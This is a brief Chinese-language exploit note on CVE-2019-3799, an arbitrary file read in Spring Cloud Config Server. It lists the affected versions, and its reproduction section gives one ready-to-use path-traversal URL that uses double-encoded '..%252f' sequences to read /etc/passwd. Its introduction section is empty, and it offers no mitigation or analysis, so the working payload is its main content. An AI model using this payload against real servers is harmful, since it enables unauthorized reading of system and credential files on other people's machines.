# CVE-2019-3799 Spring Cloud Config Server 任意文件读取
### 一、漏洞简介
### 二、漏洞影响
Spring Cloud Config 2.1.0 to 2.1.1
Spring Cloud Config 2.0.0 to 2.0.3
Spring Cloud Config 1.4.0 to 1.4.5
其他不受支持的老版本 (如Spring Cloud Config1.3及其以下版本)
### 三、复现过程
```
http://url/test/pathtraversal/master/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f../etc/passwd
```